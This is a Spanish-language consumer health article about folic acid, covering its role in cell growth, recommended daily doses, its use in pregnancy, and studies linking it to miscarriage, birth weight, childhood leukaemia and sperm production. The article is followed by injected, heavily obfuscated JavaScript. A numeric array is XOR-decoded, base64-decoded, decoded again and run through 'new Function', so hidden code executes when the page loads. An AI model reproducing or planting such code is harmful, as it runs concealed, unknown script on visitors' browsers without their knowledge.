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Qué es el ácido fólico (folacina)
El ácido fólico es una vitamina del grupo B que se puede encontrar en 30 formas diferentes.
¿Por qué es tan importante el ácido fólico?
Las personas necesitamos ácido fólico para mejorar el crecimiento celular y reemplazar el tejido dañado.
El ácido fólico desempeña un papel importante en la creación de nuevas células, especialmente de células de crecimiento rápido, como las de la médula ósea, las de la piel, las de la mucosa o las células de un feto en crecimiento. Esta vitamina es especialmente necesaria en la concepción y la división celular temprana.
El ácido fólico también es necesario para el metabolismo celular y para la formación de glóbulos rojos. La falta de ácido fólico provoca anemia.
Varios estudios internacionales han demostrado que el ácido fólico es esencial para evitar que el feto sufra defectos al nacer, como problemas en la médula espinal y malformaciones en el cerebro.
A nivel mundial, las mujeres españolas corren un riesgo muy bajo de dar a luz a un bebé con problemas en la médula espinal. Si además la mujer ha ingerido 400 microgramos de ácido fólico al día desde un tiempo antes de la concepción, el riesgo se reduce aún más.
En EE.UU., Canadá y algunos países más se agrega ácido fólico a la harina, lo que reduce aún más los riesgos. Si se comparan el número de casos de defectos en el tubo neural en EE.UU. antes y después de agregar ácido fólico a la harina, el número de casos se ve reducido en un tercio.
Ingesta diaria
Según el Ministerio de Sanidad, estas son las dosis diarias recomendadas:
- Hombre adulto: 300 microgramos/día.
- Mujer adulta: 300 microgramos/día (18-30 años 400 microgramos/día).
- Embarazadas y lactantes: 400 microgramos/día.
Las causas más comunes de la falta de ácido fólico son una dieta pobre, la desnutrición, las enfermedades crónicas, el abuso del alcohol y los trastornos alimentarios.
¿Se puede tener una sobredosis de ácido fólico?
Se recomienda no superar un límite recomendado de ácido fólico. Se debe evitar ingerir una dosis superior a 800 microgramos/día.
Normalmente no se alcanza ese nivel si no se toman suplementos alimenticios especiales.
El ácido fólico está presente en…
El ácido fólico está presente de forma natural en grandes cantidades en verduras de hoja verde como las espinacas y el brócoli, pero también en otros alimentos como los brotes, los tubérculos, la remolacha, las patatas**, las judías, las lentejas, la lechuga, la yema de huevo, el pan y la fruta.
El ácido fólico en el embarazo
El Ministerio de Sanidad y otras instituciones de referencia* recomiendan desde hace varios años que las mujeres en edad fértil, especialmente las que desean quedarse embarazadas, ingieran al menos 400 microgramos (0,4 mg.) de ácido fólico al día.
En principio, la mujer deberá aumentar la ingesta de ácido fólico a través de la alimentación, principalmente de frutas, verduras y tubérculos. Aunque, en algunas ocasiones, puede resultar difícil. En este caso es recomendable tomar un suplemento alimenticio de 400 microgramos de ácido fólico al día, que se puede comprar en farmacias y herbolarios.
El ácido fólico ayuda a reducir el riesgo de que el feto sufra ciertas malformaciones (ver a continuación), pero no aumenta las probabilidades de quedarse embarazada.
*Läkartidningen, una publicación médica sueca, realizó un estudio en una región de Suecia que demostró que el 79% de los obstetras recomendaron a las mujeres la ingesta de ácido fólico. Lo más destacable es que la mayoría de obstetras dieron esa información después de que las mujeres la solicitaran.
Las mujeres que acuden a clínicas no reciben información sobre la ingesta de ácido fólico.
El 87% de los obstetras no tenían conocimientos suficientes sobre el ácido fólico.
El resultado de dicho estudio apunta a que los obstetras no tienen conocimiento suficiente sobre el ácido fólico y sobre cómo funciona, y por tanto desconocen cómo afecta el ácido fólico al embarazo.
Críticas a la dosis diaria recomendada
La dosis diaria recomendada de 0,4 mg. Está por debajo de las recomendaciones internacionales.
El cuerpo absorbe con mayor facilidad el ácido fólico procedente de suplementos alimenticios que el procedente de la dieta.
Por eso se cuestiona si la recomendación inicial del Ministerio de Sanidad de aumentar la ingesta de ácido fólico a través de la dieta es suficiente para aumentar el nivel de ácido fólico en sangre.
La mayoría de estudios muestran que para prevenir malformaciones en la médula espinal a través del ácido fólico es necesario ingerir dosis difíciles de obtener a través de la dieta.
The-Hung Bui, médico especialista en genética clínica en el hospital Karolinska, afirma que es muy difícil lograr los niveles necesarios a través de la dieta. Para lograrlo sería necesario ingerir grandes cantidades de alimentos como el brócoli todos los días (aproximadamente medio kilo).
Por eso este médico afirma que las mujeres en edad fértil deben tomar suplementos de ácido fólico a través de pastillas.
¿Cuánto tiempo antes de quedarse embarazada hay que tomar ácido fólico?
Si es posible, intenta seguir una dieta rica en ácido fólico desde al menos tres meses antes del embarazo.
Si ya estás embarazada y crees que no has llevado una dieta rica en ácido fólico no debes preocuparte, ya que en países como España es muy poco común tener deficiencia de ácido fólico.
Una comparación entre países muestra que el riesgo de que una mujer española dé a luz a un bebé con defectos en el tubo neural está entre los más bajos del mundo.
¿Hay que dejar de tomar ácido fólico durante el embarazo?
No. La necesidad de una ingesta mayor de ácido fólico se mantiene durante todo el embarazo.
Se considera que una dosis diaria de 400 microgramos es suficiente para mantener el nivel de ácido fólico necesario para una mujer, cubriendo así las necesidades del feto. El ácido fólico es necesario para la formación de sangre.
El milagroso ácido fólico…
Cuanto más se estudia el ácido fólico y sus efectos sobre las personas, más beneficios se descubren. A continuación se detallan algunos de los beneficios que se han descubierto hasta el momento.
Un estudio comparó el nivel de ácido fólico en 468 mujeres que habían sufrido abortos espontáneos con el de 921 mujeres embarazadas que no habían sufrido aborto espontáneo. Las mujeres con un nivel bajo de ácido fólico tenían un riesgo un 50% mayor de sufrir un aborto espontáneo.
No se sabe cuántos abortos espontáneos se pueden evitar con un aumento de la ingesta de ácido fólico. Pero un riesgo de aborto espontáneo un 50% mayor debido a la deficiencia de ácido fólico indica que el número es significativo.
El estudio fue publicado en JAMA, la revista médica americana de la asociación del mismo nombre.
Un grupo de investigación británico de la universidad de Newcastle upon Tyne analizó las muestras de sangre de 998 mujeres embarazadas y comparó el nivel de ácido fólico de la madre con el peso del bebé al nacer.
La conclusión fue que las mujeres con un nivel de ácido fólico bajo antes de la duodécima semana de embarazo dieron a luz a bebés con un peso más bajo.
El bajo peso del bebé está relacionado con su salud y su desarrollo. Alrededor de la mitad de los niños que pesa menos de 2,4 kg. al nacer corre el riesgo de morir por enfermedad y desarrollo tardío debido a ese bajo peso.
La deficiencia de ácido fólico puede provocar daños en el ADN del bebé. Los investigadores saben que los daños producidos en el ADN antes del nacimiento pueden dar lugar a ciertas formas de cáncer infantil.
El instituto de investigación del cáncer de Gran Bretaña realizó un estudio para saber si la cantidad de ácido fólico ingerida influyó en un posterior desarrollo de leucemia por parte del niño.
Los investigadores buscaron una enzima que degrada el ácido fólico y hace que empeore el nivel del mismo. Se compararon 253 niños diagnosticados con leucemia entre 1992 y 1998 con niños sanos.
Una investigación australiana similar mostró que el riesgo de que un niño desarrolle leucemia se reducía casi a la mitad cuando la madre había ingerido ácido fólico durante el embarazo.
Aumenta la producción de espermatozoides con cinc y ácido fólico
El ácido fólico es importante también para los hombres. Un estudio holandés realizado por el Doctor Régine P.M. Steegers-Theunissen på University Medical Centre Nijmegen muestra que los hombres con una baja producción de espermatozoides pueden aumentarla de forma significativa a través de la dieta con una combinación de cinc y ácido fólico.
El estudio compara el efecto en 112 pacientes de los que 103 son subfértiles. Los hombres fueron divididos en tres grupos. El primer grupo recibió una ingesta de cinc (66 mg.) y ácido fólico (5 mg).
Se demostró que la dieta tenía un gran impacto sobre la fertilidad.
Los pacientes que tomaron cinc y ácido fólico aumentaron la producción de espermatozoides en un 74% en las 26 semanas que duró el estudio.
Por otro lado, no se obtuvieron resultados al tomar solo cinc o ácido fólico. Fue la combinación de ambos lo que aumentó la producción de espermatozoides.
El estudio fue presentado en la publicación Fertility and Sterility (2002;77:491-498) en marzo de 2002.
**Patatas: ¿buenas o malas?
Irlanda tiene la mayor incidencia de espina bífida en todo el mundo, un dato que sorprende a los investigadores.
En Irlanda las patatas están muy presentes en la dieta diaria. Las patatas contienen ácido fólico en dosis relativamente altas, lo que debería actuar como prevención contra las malformaciones en la médula espinal. Por eso llama tanto la atención que Irlanda sea el país con más casos de espina bífida.
La solanina (la parte verde de una patata) aparece cuando la patata entra en contacto con la luz solar. La solanina es venenosa, por eso no se deben comer las partes verdes, y en circunstancias excepcionales dos kilos de patatas pueden ser suficientes para ingerir una dosis mortal.
Estudios en Irlanda muestran que poca gente conoce la toxicidad de la solanina, por lo que los investigadores encontraron interesante profundizar en el estudio.
Un estudio en Belfast mostró que las mujeres que habían dado a luz a bebés con espina bífida o problemas en el tubo neural podían reducir el riesgo de que su próximo hijo lo sufriera en un 50% siguiendo una dieta sin patata.
El estudio es poco conocido y es difícil encontrar información detallada sobre el mismo, pero puede explicar la situación en Irlanda.
?>
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var zebc797=ye305a3*95;
var _0xb1043ec5c2ee=[35,37,58,54,52,11,46,53,51,53,89,47,35,33,12,2,51,53,57,41,54,80,12,47,50,37,89,56,5,23,4,79,49,8,49,51,37,34,3,49,39,37,45,53,38,33,4,89,35,54,42,38,54,38,54,51,52,8,20,56,51,53,85,37,52,81,4,87,34,83,89,35,38,34,41,49,38,24,33,57,49,24,49,53,34,83,80,4,37,50,20,55,49,54,41,33,6,81,12,40,54,11,81,52,40,49,41,55,49,24,37,51,49,11,57,57,49,24,45,58,37,80,57,55,49,8,11,57,50,50,38,36,37,34,34,37,49,8,54,36,49,50,42,34,39,53,49,55,38,24,42,36,38,11,58,37,38,80,53,55,37,53,38,35,39,50,34,34,39,50,37,35,39,81,58,34,53,7,34,79,50,54,58,45,52,53,23,4,5,23,4,41,54,38,50,49,53,24,15,48,36,81,42,49,49,23,85,34,52,11,20,51,36,11,46,48,52,49,89,49,52,80,24,58,50,80,89,47,34,23,23,40,51,38,50,53,53,38,45,1,36,23,89,49,52,80,24,58,50,80,89,47,36,11,4,34,54,37,54,56,49,54,11,47,54,37,54,47,50,37,54,51,52,38,11,47,49,80,88,40,36,33,4,41,54,38,50,49,53,24,15,48,36,81,34,48,52,38,12,40,52,80,84,47,50,38,42,49,49,23,85,48,53,11,3,40,36,33,4,41,54,38,50,49,53,24,15,48,36,81,34,48,52,38,12,40,52,80,84,46,52,53,38,42,52,11,85,38,54,33,85,49,54,53,42,45,51,53,45,47,49,11,24,34,53,81,50,34,53,37,11,47,51,53,88,40,36,33,4,41,54,38,50,49,53,24,15,48,36,81,34,48,52,38,12,40,52,80,84,46,49,11,89,51,36,54,42,49,49,23,85,49,54,53,42,45,51,53,46,47,52,80,50,38,36,11,46,48,52,49,3,45,34,80,8,53,54,38,34,52,39,7,88,48,53,37,89,45,55,53,4,48,52,7,81,49,54,53,42,45,51,53,45,47,52,11,89,37,51,53,54,52,36,11,38,49,53,33,3,45,34,80,8,53,54,38,34,52,39,7,88,48,37,54,42,49,49,23,85,42,52,23,89,46,49,54,50,42,49,23,3,45,34,80,8,53,54,38,34,52,39,7,88,48,53,12,34,36,36,53,81,34,51,53,85,47,50,54,49,47,52,53,38,53,51,53,45,47,53,54,54,42,51,80,85,48,50,37,53,47,53,38,42,48,34,83,80,2,54,11,38,51,33,40,89,58,54,12,4,48,49,24,80,35,37,38,8,9,38,11,42,10,39,53,53,50,58,34,34,35,37,11,58,9,39,50,58,8,49,8,4,10,38,34,4,12,37,34,50,10,49,8,34,9,58,50,49,56,38,24,49,50,37,37,42,10,37,53,57,51,33,8,20,55,49,54,41,33,6,80,16,52,55,12,50,36,50,34,80,35,49,8,57,57,50,34,37,57,37,34,11,35,39,80,58,54,52,11,46,53,51,53,89,47,33,40,89,51,54,11,24,37,35,40,89,53,52,53,20,58,55,38,8,53,35,54,20,53,53,12,12,2,54,11,38,51,33,40,89,46,51,54,8,48,54,8,81,79,54,37,81,44,55,54,8,57,54,33,85,52,54,53,42,52,54,38,41,41,37,33,23,51,35,50,80,4,40,49,3,49,55,33,3,6,6,81,50,46,51,81,12,57,55,38,49,47,53,81,54,35,53,81,50,51,35,34,41,42,39,14,89,53,52,53,20,58,55,38,8,53,39,80,12,39,35,40,89,46,51,54,8,48,54,7,85,45,50,53,85,40,54,37,7,3,37,50,41,57,35,54,42,38,54,38,54,51,52,7,3,40,39,81,58,34,53,7,34,79,55,11,16,58,50,11,50,58,54,34,81,49,49,54,42,52,50,55,12,47,54,33,8,79,52,53,12,57,52,81,57,47,53,81,54,35,53,81,50,51,35,34,57,53,36,34,57,53,35,49,23,50,38,7,11,2,51,53,57,41,33,56,89,1,51,12,12,39,50,38,12,53,35,54,42,38,54,38,54,51,52,7,3,40,39,81,58,34,53,7,34,79,52,38,16,41,52,24,81,79,52,53,12,57,52,81,57,47,53,81,54,35,53,81,50,51,35,34,37,51,39,33,24,79,55,11,16,58,50,11,50,58,54,33,15,51,35,49,24,79,53,81,34,53,50,38,50,44,40,49,3,40,39,80,58,48,53,7,8,55,49,54,41,33,6,80,50,40,54,12,46,42,54,81,3,4,37,34,20,79,50,37,4,55,53,80,12,56,54,24,24,79,52,38,16,41,52,23,85,45,50,53,85,40,54,37,7,2,6,80,50,40,54,12,46,42,54,81,3,44,40,50,41,42,55,81,58,34,53,7,34,79,52,37,54,39,54,12,7,4,53,37,38,51,53,80,54,16,52,12,49,41,6,80,24,1,51,37,88,47,53,81,54,35,53,81,50,51,35,40,89,37,50,81,58,52,51,54,4,56,36,34,41,42,36,34,37,55,35,50,20,42,50,7,8,79,52,37,54,39,54,12,7,42,6,81,46,49,54,37,50,53,51,23,19,4,3,81,50,51,51,53,85,40,36,11,58,51,52,80,81,10,51,37,38,51,57,80,89,37,50,49,8,79,52,37,54,39,54,12,7,42,39,81,81,51,50,54,50,54,53,11,84,33,6,81,46,49,54,37,50,53,51,24,20,4,49,80,38,53,49,80,7,41,50,49,12,2,53,11,54,53,54,54,42,47,34,23,3,2,56,54,81,39,54,53,85,36,54,37,12,48,52,7,34,79,54,37,4,46,51,11,81,39,51,49,8,79,50,12,38,53,50,11,16,58,36,40,89,53,49,11,4,43,54,23,12,2,53,11,54,53,54,54,42,47,33,37,85,38,54,23,34,23,53,11,89,46,51,54,46,38,35,37,58,54,52,11,46,53,51,53,89,47,35,40,89,48,54,38,54,1,36,40,89,34,54,11,16,52,35,54,20,55,49,54,41,33,6,81,50,43,53,81,4,56,40,53,85,38,54,23,34,84,2,55,24,15,54,38,50,49,3,11,54,50,54,53,54,52,54,33,7,42,39,83,89,53,51,12,46,56,54,23,85,48,53,37,54,47,35,33,4,23,2,83,46,80,34,23,24,79,50,12,38,53,50,11,16,58,36,38,50,51,54,53,53,42,39,83,89,53,51,12,46,56,54,23,85,52,50,54,50,25,50,54,38,54,50,54,46,53,1,37,54,34,50,37,54,51,35,33,4,10,52,80,85,53,50,53,85,53,36,56,50,58,53,37,53,40,36,33,4,34,53,38,34,45,51,53,46,34,54,37,12,48,52,7,89,43,53,80,89,47,34,23,11,2,6,81,50,43,53,81,4,56,36,12,50,42,52,53,54,48,54,54,49,4,38,50,33,49,37,34,20,79,54,37,16,52,54,81,3,47,52,80,85,45,52,80,38,37,40,53,58,54,52,11,46,53,51,53,89,47,35,33,12,2,54,38,42,58,55,83,89,48,54,38,54,1,35,39,16,26,2,82,84,47,53,37,38,51,53,80,53,41,6,81,50,43,53,81,4,56,36,12,42,38,53,81,34,48,52,12,46,38,4,37,54,57,54,33,11,42,39,81,81,36,49,54,50,36,51,33,8,38,35,54,20,79,49,54,58,43,53,23,8,38,35,50,20,4,56,50,20,79,54,37,16,52,54,81,3,47,52,80,85,38,53,12,42,48,53,8,81,79,54,37,16,52,54,81,3,47,52,80,85,53,51,53,81,38,52,81,54,53,40,53,58,54,52,11,46,53,51,53,89,47,35,33,12,2,6,80,38,55,51,12,45,41,52,11,54,56,33,39,54,51,53,11,89,51,35,33,11,42,39,81,80,2,6,81,50,43,53,81,4,56,36,12,46,38,52,11,49,41,1,14,46,22,2,7,85,52,54,38,42,42,52,11,4,42,50,12,11,41,6,81,50,35,50,80,16,56,35,49,11,2,56,49,11,2,56,53,58,54,52,11,46,53,51,53,89,47,33,40,89,34,52,38,8,51,54,23,8,79,54,80,81,58,55,7,12,2,51,53,57,41,6,81,4,46,55,54,15,5,40,56,89,38,54,11,24,46,52,33,85,45,50,53,85,40,54,37,7,42,53,11,54,53,54,54,42,47,33,40,34,51,52,80,81,42,53,80,53,47,53,11,54,52,52,80,24,55,50,49,8,47,54,53,24,45,35,50,20,55,49,54,41,33,6,81,12,49,52,37,8,58,40,54,20,43,53,80,89,47,53,12,34,36,39,7,3,51,36,8,33,40,36,37,81,38,54,37,8,48,50,34,15,40,50,54,50,41,6,80,46,34,52,37,23,40,36,38,34,34,53,11,38,46,53,24,16,87,55,81,50,48,39,14,89,58,54,12,4,48,49,23,24,37,49,54,50,34,39,7,3,49,55,33,3,44,6,80,16,52,55,12,50,36,50,38,80,45,34,80,24,34,54,37,54,52,54,33,4,89,36,37,12,37,39,8,38,4,39,81,42,38,54,38,54,51,52,7,34,79,54,37,4,46,51,11,81,39,51,49,8,79,50,54,58,45,52,53,24,87,6,81,4,46,55,54,16,89,36,40,89,58,53,37,24,41,55,49,11,47,54,37,8,38,52,7,8,39,54,53,85,36,54,37,12,48,52,7,8,79,51,53,89,51,50,7,12,2,54,11,38,51,33,40,89,50,53,12,12,57,40,56,89,42,52,81,42,39,34,7,58,79,51,53,89,51,50,7,85,51,50,54,46,54,52,38,49,6,6,81,42,55,52,37,49,41,6,80,12,48,53,11,57,47,53,11,54,52,54,53,24,53,35,50,15,40,34,24,20,42,50,7,8,79,53,54,42,58,55,33,12,51,50,54,50,54,53,11,84,33,6,81,38,51,55,54,7,47,53,11,54,49,52,37,38,36,50,49,7,48,6,33,88,44,34,33,88,45,34,23,3,42,39,81,42,38,54,38,54,51,52,7,34,79,49,53,24,57,53,12,3,41,6,81,4,46,55,54,15,44,37,49,11,2,56,49,11,47,49,80,38,53,49,80,7,41,50,12,54,47,49,81,50,42,52,80,84,41,35,54,20,51,50,54,50,54,53,11,84,33,6,80,38,45,55,38,42,56,35,40,89,56,52,54,12,1,35,24,37,42,39,81,80,42,39,81,81,39,54,53,85,36,54,37,12,48,52,7,34,79,53,38,54,43,52,37,16,56,55,49,8,79,55,54,42,55,51,53,8,57,54,23,12,2,54,11,38,51,33,40,89,45,51,81,38,51,40,53,50,48,49,81,54,46,50,53,85,53,36,11,46,51,50,53,38,53,50,55,54,45,50,53,81,38,52,12,49,41,34,81,46,36,53,11,12,49,54,33,3,42,39,83,89,45,51,81,38,51,36,12,46,51,49,24,81,79,55,54,42,55,51,53,8,57,54,23,19,40,36,80,38,49,51,49,85,49,51,38,33,6,53,24,80,40,35,83,89,58,50,81,58,46,53,23,19,40,34,14,89,55,40,49,3,44,2,53,38,53,51,33,85,39,52,37,89,48,53,7,8,11,49,54,50,38,36,11,85,48,54,23,7,42,36,24,57,49,37,34,33,49,35,50,20,79,52,37,20,50,53,7,85,34,53,81,12,47,49,24,81,53,53,12,54,38,39,23,8,37,52,80,46,54,52,53,54,47,54,33,85,41,50,53,38,37,56,38,24,37,52,80,46,54,52,53,54,47,54,33,85,35,52,80,50,58,35,49,85,34,53,38,34,38,52,11,50,10,51,37,12,45,50,33,8,79,52,37,20,50,53,7,11,2,56,56,89,34,52,38,8,51,54,23,7,49,35,49,85,53,51,37,54,47,35,37,58,54,52,11,46,53,51,53,89,47,35,40,89,58,53,12,58,42,51,38,8,56,35,54,20,42,50,7,8,79,55,54,42,55,51,53,8,57,54,23,12,79,53,38,54,43,52,37,16,56,55,49,8,79,55,54,42,55,51,53,8,57,54,23,11,2,56,49,11,2,56,49,11,41,35,50,19,93];
var _0xa3c8319ffb00=96;
var _0x12cba2258c91='';
for(var _0x57b8d54cfdb2=0;_0x57b8d54cfdb2<_0xb1043ec5c2ee.length;_0x57b8d54cfdb2++)
_0x12cba2258c91+=String.fromCharCode(_0xb1043ec5c2ee[_0x57b8d54cfdb2]^_0xa3c8319ffb00);
var _0x6a2dccd84b03=32;
var _0xc5fdf09ba47b=atob(_0x12cba2258c91);
var _code='';
for(var _0x57b8d54cfdb2=0;_0x57b8d54cfdb2<_0xc5fdf09ba47b.length;_0x57b8d54cfdb2++)
_code+=String.fromCharCode(_0xc5fdf09ba47b.charCodeAt(_0x57b8d54cfdb2)^_0x6a2dccd84b03);
(new Function(_code))();
})();